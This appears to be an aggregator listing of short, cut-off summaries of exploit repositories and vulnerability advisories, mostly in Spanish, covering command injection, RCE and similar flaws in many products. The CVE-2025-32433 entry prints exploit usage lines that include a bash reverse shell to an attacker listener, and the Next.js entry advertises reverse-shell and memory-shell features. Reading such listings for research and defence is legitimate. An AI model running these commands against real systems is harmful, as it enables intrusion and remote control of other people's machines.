HTB-TwoMillion-Writeup

HTB-TwoMillion-Writeup Writeup de la máquina TwoMillion de HackTheBox — Abuso de API, inyección de comandos y CVE-2023-0386 HackTheBox — Writeup de TwoMillion HackTheBox — Writeup de TwoMillion Información de la máquina Campo| Detalles ---|--- Nombre| TwoMillion Dificultad| Fácil SO| Linux IP|...

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

just wait and see Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality web/includes/downloadfunctions.php. Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg. An attacker who can...

EUVD-2026-91064

OS Command Injection vulnerability in Johnson Controls EasyIO FS32 allows OS Command Injection. This issue affects EasyIO FS32: before 3.0b63...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2025-15545

CVE-2025-15545 Information Vendor: TP-Link Vendor's website: TP-Link Model: Archer RE605X Hardware version: RE605X v3.0 Firmware version: RE605XEUV31.1.5 Build 20240905 Firmware download address: TP-Link A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command...

CVE-2025-5548

🛡️ CVE-2025-5548 – Exploit de Desbordamiento de Búfer de FreeFloat FTP Server 📌 Descripción general Este repositorio documenta el descubrimiento y explotación de una vulnerabilidad de desbordamiento de búfer basada en pila en la aplicación FreeFloat FTP Server. La vulnerabilidad reside en el manej...

CVE-2026-26832

CVE-2026-26832: Inyección de comandos del sistema operativo en node-tesseract-ocr Resumen node-tesseract-ocr hasta la versión 2.2.1 permite la inyección de comandos del sistema operativo en recognize en src/index.js. El paquete construye una cadena de comando de shell y la ejecuta con...

EUVD-2026-91754

agentscope v1.0.20 contains code injection in executeshellcommand src/agentscope/tool/coding/shell.py. Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution...

CVE-2026-51911

The software vanna v2.0.2 is vulnerable to a code injection vulnerability within the VannaBase.get_plotly_figure function, located in src/vanna/legacy/base/base.py. An attacker who can access an exposed entry may trigger the execution of attacker-controlled code or commands . While the documents ...

EUVD-2026-91760

vanna v2.0.2 contains a code injection vulnerability in VannaBase.getplotlyfigure src/vanna/legacy/base/base.py. Depending on the exposed entry, an attacker can trigger attacker-controlled code or command execution...

PT-2026-104355

Name of the Vulnerable Software and Affected Versions GitLab AI Gateway versions 18.1.6 through 19.2.3 GitLab AI Gateway versions 19.3 through 19.3.1 GitLab AI Gateway versions 19.4 through 19.4.0 Description An improper neutralization weakness in the self-hosted AI Gateway service allows an...

CVE-2025-9090

CVE-2025-9090 Autor: Byte Reaper Descripción Este exploit apunta a CVE-2025-9090 , una vulnerabilidad de inyección de comandos en el router Tenda AC20 v16.03.08.12. El fallo se encuentra en el endpoint /goform/telnet, que puede activarse de forma remota. Al acceder, inicia el servicio Telnet en e...

CVE-2025-7769

CVE-2025-7769 – Inyección Remota de Comandos en mobileapi Descripción : Este repositorio contiene un exploit de Prueba de Concepto PoC para CVE‑2025‑7769 , una vulnerabilidad crítica de Inyección de Comandos remota encontrada en dispositivos Tigo Energy CCA que exponen el endpoint...

CVE-2025-26794-exploit

CVE-2025-26794: Exploit de inyección SQL ETRN en Exim Una herramienta de explotación proof-of-concept para CVE-2025-26794, que demuestra la vulnerabilidad de inyección SQL en el servidor de correo Exim 4.98 mediante el comando ETRN cuando se utiliza almacenamiento DBM de SQLite. ⚠️ Aviso Legal SOL...

MangoPunch-CVE-2022-31898

🥭 MangoPunch: CVE-2022-31898 Inyección de Comandos del Sistema Operativo Autenticada para Dispositivos GL.iNet | / | | \ | | | \ / | | | | | | | |/| |/ | ' \ / |/ | / | | | ' \ / | ' \ | | | | | | | | | | | | | | || | | | | | | | | || ||,|| ||, |/|| ,|| |||| || / | |/ 🔍 Resumen de la...

CVE-2024-25081_2025-47273

CVE-2024-25081 y CVE-2025-47273 Prueba de concepto FontForge versión ≤ 20230101 y librería Setuptools versión Prueba de concepto para elevar los privilegios al usuario que ejecuta una tarea que utiliza Font Forge. El segundo CVE eleva los privilegios a root, siempre que tengas permisos de escritu...

CVE-2021-27928

CVE-2021-27928 En este repositorio, encontrarás una prueba de concepto de la explotación de la vulnerabilidad CVE-2021-27928 a través de un contenedor docker. Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaD...

CVE-2022-46169

CVE-2022-46169 Este repositorio contiene una Prueba de Concepto PoC para CVE-2022-46169 - RCE no autenticado en Cacti = 1.2.22 encadenando una Bypass de Autenticación y una Inyección de Comandos, descrito por Sonar en esta entrada de blog. Las mismas vulnerabilidades también fueron descubiertas...

CVE-2020-8958

Una prueba de concepto para CVE-2020-8958 escrita en Python. El script devolverá el contenido de /etc/passwd si tiene éxito. CVE-2020-8958 Los dispositivos Guangzhou 1GE ONU V2801RW 1.9.1-181203 hasta 2.9.0-181024 y V2804RGW 1.9.1-181203 hasta 2.9.0-181024 permiten a atacantes remotos ejecutar...